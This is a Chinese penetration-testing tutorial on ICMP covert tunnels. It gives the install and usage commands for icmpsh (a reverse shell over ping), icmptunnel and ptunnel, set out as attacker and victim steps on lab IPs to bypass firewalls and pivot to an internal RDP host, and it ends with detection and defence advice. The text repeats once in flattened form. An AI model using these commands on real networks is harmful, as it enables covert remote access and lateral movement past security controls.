内网渗透之ICMP隐藏隧道
字数 1238 2025-08-25 22:59:02

ICMP隐藏隧道技术详解

一、ICMP隧道概述

ICMP(Internet Control Messages Protocol)是TCP/IP协议族的子协议,是一种面向无连接的协议,用于在IP主机、路由器之间传递控制消息。ICMP隧道技术将TCP/UDP数据包封装到ICMP的ping数据包中,利用防火墙通常不会屏蔽ping数据包的特性,实现隐蔽通信。

工作原理

  • 请求端Ping工具会在ICMP数据包后面附加随机数据作为Payload
  • 响应端会拷贝这段Payload到ICMP响应数据包中返还给请求端
  • Windows/Linux默认Payload长度为64比特,但协议允许最大64K大小的Payload
  • 隧道工具会将IP帧封装在ICMP请求数据包中传输

二、常用ICMP隧道工具

1. icmpsh

安装与配置

git clone https://github.com/inquisb/icmpsh.git  # 下载工具
apt-get install python-impacket  # 安装依赖
sysctl -w net.ipv4.icmp_echo_ignore_all=1  # 关闭本地ICMP应答

使用场景

适用于服务器暴露在外网且有防火墙限制敏感端口(如22、3389)的情况。

使用方法

  • 攻击者IP: 192.168.1.76
  • 服务器IP: 192.168.1.113

被攻击服务器端执行:

icmpsh.exe -t 192.168.1.76

攻击者端执行:

python icmpsh_m.py 192.168.1.76 192.168.1.113

2. icmptunnel

优势

可以穿过状态防火墙或NAT,解决非对称连接中数据包丢弃问题。

安装

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

使用方法

  • 攻击者IP: 192.168.1.76
  • 被攻击者IP: 192.168.1.26

攻击者端(服务端):

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel -s
# 新终端
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

被攻击者端(客户端):

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.76
# 新终端
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

3. ptunnel (PingTunnel)

安装

# 安装依赖
yum -y install byacc flex bison

# 安装libpcap
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

# 安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

典型场景

  • 攻击者IP: 192.168.1.107(win7)
  • 攻击者VPS: 192.168.1.76(kali)
  • Web服务器: 192.168.1.26(外网), 172.168.1.16(内网)
  • 数据库服务器: 172.168.1.18(内网), 3389端口开放

VPS端执行:

ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie

参数说明:

  • -p: 跳板的公网IP
  • -lp: 本机监听端口
  • -da: 目标服务器内网IP
  • -dp: 目标服务器端口
  • -x: 隧道密码

Web服务器端执行:

ptunnel -x cookie

三、ICMP隧道检测方法

  1. 检测ICMP数据包数量

    • 正常ping每秒最多2个数据包
    • 隧道会产生大量数据包
  2. 检查Payload大小

    • 注意Payload大于64bit的ICMP数据包
  3. 分析Payload内容

    • Windows默认: abcdefghijklmnopqrstuvwabcdefghi (32字节)
    • Linux默认: 48字节(前8字节随时间变化,后40字节固定为!01234567)
    • 隧道工具可能添加标识(如icmptunnel会加"TUNL")
  4. 比较请求/响应Payload

    • 正常ping请求响应Payload一致
    • 隧道Payload可能不一致

四、防御建议

  1. 限制ICMP数据包速率
  2. 监控异常ICMP流量模式
  3. 过滤Payload异常的ICMP数据包
  4. 禁用不必要的ICMP协议
  5. 部署入侵检测系统监控ICMP隧道特征

通过以上方法可以有效检测和防御ICMP隧道攻击,保护内网安全。

ICMP隐藏隧道技术详解 一、ICMP隧道概述 ICMP(Internet Control Messages Protocol)是TCP/IP协议族的子协议,是一种面向无连接的协议,用于在IP主机、路由器之间传递控制消息。ICMP隧道技术将TCP/UDP数据包封装到ICMP的ping数据包中,利用防火墙通常不会屏蔽ping数据包的特性,实现隐蔽通信。 工作原理 请求端Ping工具会在ICMP数据包后面附加随机数据作为Payload 响应端会拷贝这段Payload到ICMP响应数据包中返还给请求端 Windows/Linux默认Payload长度为64比特,但协议允许最大64K大小的Payload 隧道工具会将IP帧封装在ICMP请求数据包中传输 二、常用ICMP隧道工具 1. icmpsh 安装与配置 使用场景 适用于服务器暴露在外网且有防火墙限制敏感端口(如22、3389)的情况。 使用方法 攻击者IP: 192.168.1.76 服务器IP: 192.168.1.113 被攻击服务器端执行 : 攻击者端执行 : 2. icmptunnel 优势 可以穿过状态防火墙或NAT,解决非对称连接中数据包丢弃问题。 安装 使用方法 攻击者IP: 192.168.1.76 被攻击者IP: 192.168.1.26 攻击者端(服务端) : 被攻击者端(客户端) : 3. ptunnel (PingTunnel) 安装 典型场景 攻击者IP: 192.168.1.107(win7) 攻击者VPS: 192.168.1.76(kali) Web服务器: 192.168.1.26(外网), 172.168.1.16(内网) 数据库服务器: 172.168.1.18(内网), 3389端口开放 VPS端执行 : 参数说明: -p : 跳板的公网IP -lp : 本机监听端口 -da : 目标服务器内网IP -dp : 目标服务器端口 -x : 隧道密码 Web服务器端执行 : 三、ICMP隧道检测方法 检测ICMP数据包数量 正常ping每秒最多2个数据包 隧道会产生大量数据包 检查Payload大小 注意Payload大于64bit的ICMP数据包 分析Payload内容 Windows默认: abcdefghijklmnopqrstuvwabcdefghi (32字节) Linux默认: 48字节(前8字节随时间变化,后40字节固定为 !01234567) 隧道工具可能添加标识(如icmptunnel会加"TUNL") 比较请求/响应Payload 正常ping请求响应Payload一致 隧道Payload可能不一致 四、防御建议 限制ICMP数据包速率 监控异常ICMP流量模式 过滤Payload异常的ICMP数据包 禁用不必要的ICMP协议 部署入侵检测系统监控ICMP隧道特征 通过以上方法可以有效检测和防御ICMP隧道攻击,保护内网安全。